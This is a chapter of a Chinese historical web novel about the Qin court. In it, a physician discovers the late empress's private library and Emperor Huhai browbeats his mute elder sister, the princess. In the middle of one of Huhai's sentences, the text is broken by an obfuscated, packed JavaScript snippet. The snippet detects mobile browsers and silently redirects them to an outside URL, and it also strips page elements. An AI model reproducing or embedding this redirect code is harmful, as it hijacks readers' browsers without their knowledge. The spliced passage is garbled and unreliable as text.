说着,她解下腰间的一把钥匙递给了谒者令万年。 万年接过钥匙径直向前走去,夏无疾却是高兴得愣在当场,后知后觉道,“等等我。” —————— 夏无疾光是站在藏书浩瀚的藏室门前,都觉得自己分外渺小。 “负暄阁。”她道。 万年上前开锁,“太医丞知道这个名字的含义吗?” “我可不仅仅是个医者,谒者令。” 推开藏室尘封已久的大门,映入眼帘的是一排又一排高大的架子,每排架子上都分门别类地堆满了卷帙浩繁的万卷简牍。 随着藏室大门的开启,扑面而来一股沁人心脾的芳香,不见天日许久的万卷简牍仿佛瞬间迸发出耀眼夺目,无可比拟的光芒。 “‘负日之暄,以献吾君。’宋国的田夫把冬天晒太阳取暖当成一种好方法献给国君,后来以此谦称自己贡献微小,也比喻所献出的东西并不贵重难得。?” 夏无疾像蠹鱼书虫一样穿梭于一排排书架之间,感叹道,“元后实在太谦逊了。汗牛充栋的典籍,浩如烟海的知识,古往今来圣人先贤们智慧的结晶才是真正的无价之宝。” 万年看着沉迷于学海中的夏无疾,微微挑眉道,“现在太医丞还觉得是我‘陷害’了你吗?” 夏无疾将贪婪的目光暂时从万卷典籍中移开,傻笑了一番,“我现在倒宁愿被你多‘陷害’几回。” 她一遍又一遍地抚摸着那些珍藏的医书典籍,“早知元后入秦时从稷下学宫和齐国藏室带来了不少经书典籍,我以为宫中所藏已经让人叹为观止了,没想到——真是此间乐,不思(太医)署。” “元后入秦时带来的经书典籍大部分收藏在了咸阳宫的金石阁和天机阁,流传至太医署的都是些抄本。还有一部分元后钟爱的藏书收藏在了此处的私库中。太医丞若觉得有些医书对公主病情有利,想抄些回去仔细钻研,我亦可睁一只眼闭一只眼。” 末了,万年又拍了拍她的肩膀悄声嘱咐道,“只是,千万不要叫别人知道。” 夏无疾激动得立时将其中一卷竹简抱在怀中,“真的?” —————— “王姊,你是真的不能说话?还是,不愿意同朕说话?” 长安园的中堂内,胡亥并不在他应在的位置上。 中堂的背光处,他捏着嬴略的下巴仔细打量着她脖颈处那道丑陋的疤痕。 嬴略被迫抬起头,仰视着能决她生死的君王。 目光对上她那双与君父极为相似的明眸,胡亥又松开了手。 “即便你能开口,现在也一定不想同我说话。这样也好,起码你可以认真听我说话,而不是反驳我了。” 胡亥在她面前席地而坐。 “王姊,其实我一直知道我只是你退而求其次的选择。若是大兄没有死,你更愿意支持他登上这至尊之位吧。” 他抬起头,难得在一个皇帝脸上见到有些晦暗和苦涩的笑意,“你和那些质疑我的人并没有什么区别,你们都觉得我不配坐在这个位置上。” 很快,他面上的神情又变得鄙夷和冷峻,“知道我为什么信任重用赵高吗?我当然清楚他不过是跪舔皇位的一条狗罢了。但起码他是全心全意扶持我的,他也只能扶持我。而你,我的王姊,你对朕的忠心连一条狗都比不上。” 一直垂眸不语的嬴略听得震动了一下,她抬起头,不可置信自己会受到这样的羞辱,只剩下眼中积蓄的泪水一直不肯下落,似乎如此就能在至高无上的皇权面前维持她仅剩的尊严。 但她依旧只能选择保持沉默。 胡亥对她的反应很满意,甚至能从她的狼狈中获得一丝隐秘的快感。 他起身在跪坐着的王姊面前负手而立,“不过现在,朕决定原谅你了。因为你身为一个女子,可能永远也无法理解一位大秦皇帝的理想和抱负。” 上位者在得意洋洋凌辱了一番曾经给予他光亮的女兄之后,还要让她对他的大度宽怀感恩戴德。 一道明黄色的绢帛顺着澄澈透亮的冬日阳光落在嬴略面前。 “你该看看朕即位之后向天下臣民公布的第一道诏书。” 在胡亥的殷殷期待下,嬴略沉默着打开那道诏书。 “天下失始皇帝,皆惧恐悲哀甚,朕奉遗诏,今宗庙吏及箸以明至治大功德者具矣,律令当除定者毕矣。元年与黔首更始,尽为解除故罪。令皆已下矣,朕将自抚天下。吏、黔首其具行事,毋以徭赋扰黔首,毋以细物苛劾县吏。亟布。”① “君父驾崩,天下臣民无不惊惶不安,他们亟待一位英明的皇帝来统治他们,为大秦帝国接下来的前进之路指明方向。朕既然奉先帝遗诏即位,自当振奋大秦七代先王留下来的帝业,与民更始,解除流罪,减省赋税,宽松吏治,抚慰天下,安定民心,让宇内之人无不对大秦帝国心悦诚服。” “朕希望能够延续君父的千古功绩,让大秦国祚在朕这个二世皇帝手中永世延绵,千秋万代,屹立不倒。” 胡亥转过身来握住了嬴略展开遗诏的双手,殷殷恳切道,“王姊,你会帮我的,不,你会帮朕这个大秦皇帝的,对吗?” 胡亥与她的手紧紧相握,更像是绑缚住了她的双手,不容她有拒绝的余地。 嬴略那双明眸怔怔地望着他,像是个被随意摆弄的人偶。 胡亥自嘲地笑了笑,又是一番自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149668|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言自语,“王姊若是没有异议,朕便认为是默许了。” 嬴略依旧是不置一词。 下雪不冷化雪冷,内室的温度冷到了极点。 中堂沉静得甚至能听到檐上积雪融化后顺着一树栓双马纹齐式瓦当滴落下来的声音。 “那便等王姊好些了,再来给朕一个明确的答复吧。” 胡亥最后睥睨了一眼稽首行礼恭送君王的王姊,出声让侯在外面的宦者将门打开,耀眼的阳光混合着刺骨的冷意一股脑灌入室内。 嬴略来不及躲避,只能匍匐在地止不住地咳嗽了起来。 —————— 负暄阁中,万年守在门前有一搭没一搭地和夏无疾聊天,“公主的身体日后真的很难有孕了吗?” 夏无疾正激动地伏在案前奋笔疾书,闻言头也不回道,“你知道的,我不擅长说谎。” 虽然万年并不喜欢孩子,也不打算生孩子,但是同为女子,她能够理解不想生育和不能生育带给女子的是完全不同的两种感受,一个是自主选择的自由,一个却是无可奈何的悲哀。 没想到,夏无疾又补充道,“我只是说公主日后‘很难’有孕,并没有说她不能有孕。” 万年轻笑一声,谁说这位死板的太医丞不懂得说话的艺术。 “有我这个医术精湛的医者在,相信调理个一年半载,公主还是能够恢复如初的。只是,”夏无疾回头冲万年笑了笑,“让公主遵医嘱吃这么久的药可是件苦差事。” 万年倒不担心这件事,“我只是暂时接替景福的差事,这么‘苦’的差事还是让她干吧。” 夏无疾耸了耸肩,万熹和万年真不愧是姑侄俩,一脉相承的死道友不死贫道。 说着,万年微微朝她行了一礼,“公主‘口不能言’的事,多谢太医丞帮忙遮掩。” 夏无疾偏头了然一笑,“不是口不能言,而是怕公主又在陛下面前又口不择言了吧。” 身为医术精湛的太医丞,她在替长安公主把脉时便知道脉象有蹊跷。需要她遮掩的可不止“口不能言”一件事,就连昏睡数日的病症恐怕也是万年这位心疼公主的老傅姆有意为之。 她曾听自己的大父(祖父)夏无且提过,当年元后身体不好自请退居长安园养病时,并没有经过太医署的联合会诊,而是由万年这位老傅姆和一些亲信太医随侍左右。想来这位老傅姆颇为懂得一些医理。 只不过,宫中秘辛太多,若想活得长久,便要知道什么事该开口,什么事该秘而不宣。 —————— 胡亥走后,傅姆万熹来到中堂,跽坐到嬴略面前像她幼时一样向她伸出双手,长长的影子包裹住嬴略病弱瘦削的身形,满是心疼和不忍道,“公主。” 这位老傅姆万年不变的严肃面容也只有面对她的小公主时才会露出慈蔼之色, 嬴略抬起头,那双明眸瞬间敛去泪水,取而代之的是深不见底的幽邃瞳色。 “我还有多少兄弟姊妹?”